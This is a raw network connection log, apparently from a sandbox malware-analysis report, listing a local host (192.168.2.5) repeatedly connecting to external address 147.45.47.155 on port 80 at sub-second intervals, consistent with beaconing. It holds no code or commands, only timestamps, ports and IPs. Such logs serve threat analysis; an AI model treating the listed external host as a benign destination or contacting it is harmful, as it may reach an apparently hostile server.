Jun 27, 2024 07:40:21.367856026 CEST	80	49920	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:21.367891073 CEST	49921	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:21.367959976 CEST	49920	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:21.372654915 CEST	80	49921	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:22.036107063 CEST	80	49921	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:22.036192894 CEST	49921	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:22.154836893 CEST	49921	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:22.155297041 CEST	49922	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:22.167720079 CEST	80	49922	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:22.167808056 CEST	49922	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:22.167994022 CEST	49922	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:22.168098927 CEST	80	49921	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:22.168160915 CEST	49921	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:22.172923088 CEST	80	49922	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:22.857140064 CEST	80	49922	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:22.857306957 CEST	49922	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:22.859991074 CEST	49922	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:22.860388994 CEST	49923	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:22.865176916 CEST	80	49922	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:22.865339994 CEST	49922	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:22.865421057 CEST	80	49923	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:22.865622044 CEST	49923	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:22.865761042 CEST	49923	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:22.870601892 CEST	80	49923	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:23.534898996 CEST	80	49923	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:23.534990072 CEST	49923	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:23.662951946 CEST	49923	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:23.663248062 CEST	49924	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:23.668288946 CEST	80	49923	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:23.668350935 CEST	49923	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:23.668355942 CEST	80	49924	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:23.668431997 CEST	49924	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:23.668751001 CEST	49924	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:23.673820972 CEST	80	49924	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:24.342621088 CEST	80	49924	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:24.342665911 CEST	49924	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:24.346151114 CEST	49924	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:24.346544981 CEST	49925	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:24.351300955 CEST	80	49924	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:24.351341963 CEST	80	49925	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:24.351341963 CEST	49924	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:24.351406097 CEST	49925	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:24.351839066 CEST	49925	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:24.356601000 CEST	80	49925	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:25.040368080 CEST	80	49925	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:25.041357040 CEST	49925	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:25.153665066 CEST	49926	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:25.153665066 CEST	49925	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:25.158641100 CEST	80	49926	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:25.158795118 CEST	49926	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:25.158894062 CEST	80	49925	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:25.158919096 CEST	49926	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:25.158981085 CEST	49925	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:25.163642883 CEST	80	49926	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:25.839263916 CEST	80	49926	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:25.839348078 CEST	49926	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:25.843539953 CEST	49926	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:25.843858957 CEST	49927	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:25.850888968 CEST	80	49927	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:25.850902081 CEST	80	49926	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:25.850949049 CEST	49927	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:25.850980997 CEST	49926	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:25.851089001 CEST	49927	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:25.855926991 CEST	80	49927	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:26.593945026 CEST	80	49927	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:26.594064951 CEST	49927	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:26.700529099 CEST	49928	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:26.700529099 CEST	49927	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:26.705758095 CEST	80	49928	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:26.706003904 CEST	49928	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:26.706094980 CEST	80	49927	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:26.706226110 CEST	49928	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:26.706226110 CEST	49927	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:26.711040974 CEST	80	49928	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:27.371958017 CEST	80	49928	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:27.375745058 CEST	49928	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:27.378654957 CEST	49929	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:27.378659010 CEST	49928	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:27.383564949 CEST	80	49929	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:27.383979082 CEST	80	49928	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:27.384088039 CEST	49929	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:27.384094000 CEST	49928	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:27.387653112 CEST	49929	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:27.392522097 CEST	80	49929	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:28.049767971 CEST	80	49929	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:28.049840927 CEST	49929	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:28.169600010 CEST	49929	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:28.170048952 CEST	49930	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:28.174875021 CEST	80	49930	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:28.174941063 CEST	49930	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:28.174972057 CEST	80	49929	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:28.175024986 CEST	49929	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:28.175249100 CEST	49930	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:28.180041075 CEST	80	49930	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:28.883456945 CEST	80	49930	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:28.888380051 CEST	49930	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:28.888380051 CEST	49930	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:28.891396046 CEST	49931	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:28.897562027 CEST	80	49930	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:28.899979115 CEST	49930	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:28.900068998 CEST	80	49931	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:28.900218010 CEST	49931	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:28.902638912 CEST	49931	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:28.907469034 CEST	80	49931	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:29.596712112 CEST	80	49931	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:29.596769094 CEST	49931	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:29.716442108 CEST	49931	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:29.716839075 CEST	49932	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:29.721756935 CEST	80	49932	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:29.721839905 CEST	49932	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:29.721929073 CEST	80	49931	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:29.721988916 CEST	49931	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:29.722141027 CEST	49932	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:29.726953983 CEST	80	49932	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:30.388706923 CEST	80	49932	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:30.388788939 CEST	49932	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:30.391977072 CEST	49932	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:30.392316103 CEST	49933	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:30.397133112 CEST	80	49933	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:30.397198915 CEST	49933	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:30.397211075 CEST	80	49932	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:30.397263050 CEST	49932	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:30.397423983 CEST	49933	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:30.402177095 CEST	80	49933	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:31.076217890 CEST	80	49933	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:31.079739094 CEST	49933	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:31.184823036 CEST	49933	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:31.184823990 CEST	49934	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:31.190102100 CEST	80	49934	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:31.190654993 CEST	80	49933	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:31.191720009 CEST	49933	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:31.191720009 CEST	49934	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:31.195650101 CEST	49934	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:31.200572968 CEST	80	49934	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:31.860443115 CEST	80	49934	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:31.860500097 CEST	49934	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:31.864473104 CEST	49934	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:31.864763975 CEST	49935	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:31.869570017 CEST	80	49935	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:31.869626999 CEST	80	49934	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:31.869630098 CEST	49935	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:31.869678020 CEST	49934	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:31.870074987 CEST	49935	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:31.874841928 CEST	80	49935	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:32.783023119 CEST	80	49935	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:32.783143044 CEST	49935	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:32.785085917 CEST	80	49935	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:32.787703037 CEST	49935	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:32.887120008 CEST	49935	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:32.887641907 CEST	49936	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:32.892607927 CEST	80	49935	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:32.892704010 CEST	80	49936	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:32.892746925 CEST	49935	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:32.892797947 CEST	49936	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:32.895642996 CEST	49936	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:32.900542974 CEST	80	49936	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:33.715512037 CEST	80	49936	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:33.715600967 CEST	49936	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:33.719472885 CEST	49936	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:33.719894886 CEST	49937	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:33.726063013 CEST	80	49936	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:33.726141930 CEST	49936	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:33.726953030 CEST	80	49937	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:33.727021933 CEST	49937	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:33.727180004 CEST	49937	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:33.733549118 CEST	80	49937	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:34.445493937 CEST	80	49937	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:34.445561886 CEST	49937	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:34.559725046 CEST	49937	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:34.559725046 CEST	49938	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:34.564738035 CEST	80	49938	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:34.564910889 CEST	49938	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:34.564919949 CEST	80	49937	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:34.565136909 CEST	49937	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:34.565136909 CEST	49938	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:34.569951057 CEST	80	49938	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:35.259623051 CEST	80	49938	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:35.259727955 CEST	49938	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:35.262723923 CEST	49939	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:35.262748003 CEST	49938	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:35.267771959 CEST	80	49939	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:35.267986059 CEST	80	49938	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:35.268146992 CEST	49939	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:35.268191099 CEST	49938	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:35.268271923 CEST	49939	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:35.273085117 CEST	80	49939	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:35.939136028 CEST	80	49939	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:35.939217091 CEST	49939	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:36.051840067 CEST	49939	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:36.052319050 CEST	49940	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:36.057039022 CEST	80	49939	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:36.057101011 CEST	49939	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:36.057132959 CEST	80	49940	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:36.057194948 CEST	49940	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:36.057621956 CEST	49940	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:36.062412977 CEST	80	49940	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:36.754594088 CEST	80	49940	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:36.754719973 CEST	49940	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:36.758650064 CEST	49941	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:36.758759975 CEST	49940	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:36.763463974 CEST	80	49941	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:36.763626099 CEST	49941	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:36.763861895 CEST	80	49940	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:36.764205933 CEST	49941	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:36.764298916 CEST	49940	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:36.768938065 CEST	80	49941	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:38.419972897 CEST	80	49941	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:38.420068979 CEST	49941	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:38.420629025 CEST	80	49941	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:38.420691013 CEST	49941	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:38.421797037 CEST	80	49941	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:38.421852112 CEST	49941	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:38.424191952 CEST	80	49941	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:38.424243927 CEST	49941	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:38.528181076 CEST	49942	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:38.528181076 CEST	49941	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:38.645997047 CEST	80	49942	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:38.646233082 CEST	80	49941	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:38.647864103 CEST	49942	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:38.647864103 CEST	49941	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:38.650650024 CEST	49942	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:38.655364990 CEST	80	49942	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:39.318995953 CEST	80	49942	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:39.319155931 CEST	49942	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:39.321934938 CEST	49942	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:39.322169065 CEST	49943	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:39.326978922 CEST	80	49943	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:39.327107906 CEST	49943	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:39.327109098 CEST	80	49942	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:39.327167988 CEST	49942	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:39.327471972 CEST	49943	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:39.332334995 CEST	80	49943	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:40.016258955 CEST	80	49943	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:40.016324043 CEST	49943	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:40.162785053 CEST	49943	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:40.163225889 CEST	49944	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:40.168037891 CEST	80	49943	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:40.168071032 CEST	80	49944	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:40.168097019 CEST	49943	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:40.168143988 CEST	49944	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:40.168592930 CEST	49944	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:40.173456907 CEST	80	49944	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:40.862397909 CEST	80	49944	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:40.862521887 CEST	49944	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:40.866589069 CEST	49944	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:40.868982077 CEST	49945	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:40.874192953 CEST	80	49945	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:40.874725103 CEST	49945	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:40.875015974 CEST	49945	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:40.886416912 CEST	80	49944	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:40.886554003 CEST	49944	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:40.886885881 CEST	80	49945	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:41.564610958 CEST	80	49945	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:41.564677954 CEST	49945	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:41.669190884 CEST	49945	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:41.669559956 CEST	49946	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:41.678551912 CEST	80	49946	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:41.678632975 CEST	49946	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:41.678662062 CEST	80	49945	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:41.678716898 CEST	49945	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:41.678848982 CEST	49946	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:41.687997103 CEST	80	49946	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:42.366839886 CEST	80	49946	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:42.366909027 CEST	49946	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:42.370558023 CEST	49946	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:42.370866060 CEST	49947	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:42.375730038 CEST	80	49946	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:42.375767946 CEST	80	49947	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:42.375780106 CEST	49946	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:42.375930071 CEST	49947	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:42.376121998 CEST	49947	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:42.381521940 CEST	80	49947	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:43.087280035 CEST	80	49947	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:43.089854002 CEST	49947	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:43.200042963 CEST	49947	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:43.200052023 CEST	49948	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:43.205158949 CEST	80	49948	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:43.205831051 CEST	80	49947	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:43.206068039 CEST	49948	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:43.206103086 CEST	49947	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:43.206300974 CEST	49948	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:43.211070061 CEST	80	49948	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:43.885750055 CEST	80	49948	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:43.885837078 CEST	49948	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:43.890188932 CEST	49948	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:43.890623093 CEST	49949	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:43.895612955 CEST	80	49949	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:43.895679951 CEST	49949	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:43.895826101 CEST	49949	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:43.895837069 CEST	80	49948	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:43.895889997 CEST	49948	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:43.900772095 CEST	80	49949	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:44.600585938 CEST	80	49949	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:44.604396105 CEST	49949	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:44.715363026 CEST	49949	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:44.715363026 CEST	49950	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:44.721898079 CEST	80	49949	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:44.721915960 CEST	80	49950	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:44.727725983 CEST	49949	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:44.727726936 CEST	49950	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:44.727942944 CEST	49950	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:44.732732058 CEST	80	49950	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:45.409632921 CEST	80	49950	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:45.411736965 CEST	49950	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:45.414565086 CEST	49950	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:45.414895058 CEST	49951	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:45.419739008 CEST	80	49950	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:45.419774055 CEST	80	49951	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:45.419883013 CEST	49951	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:45.419883966 CEST	49950	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:45.420198917 CEST	49951	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:45.425143957 CEST	80	49951	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:46.093590975 CEST	80	49951	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:46.093667984 CEST	49951	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:46.199990988 CEST	49951	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:46.200258017 CEST	49952	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:46.205271959 CEST	80	49951	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:46.205333948 CEST	49951	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:46.205336094 CEST	80	49952	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:46.205414057 CEST	49952	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:46.205585957 CEST	49952	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:46.210716009 CEST	80	49952	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:46.871870995 CEST	80	49952	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:46.872242928 CEST	49952	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:46.875667095 CEST	49952	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:46.875679016 CEST	49953	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:46.880590916 CEST	80	49953	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:46.880806923 CEST	49953	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:46.880806923 CEST	49953	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:46.880866051 CEST	80	49952	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:46.880999088 CEST	49952	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:46.885978937 CEST	80	49953	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:47.554136038 CEST	80	49953	147.45.47.155	192.168.2.5
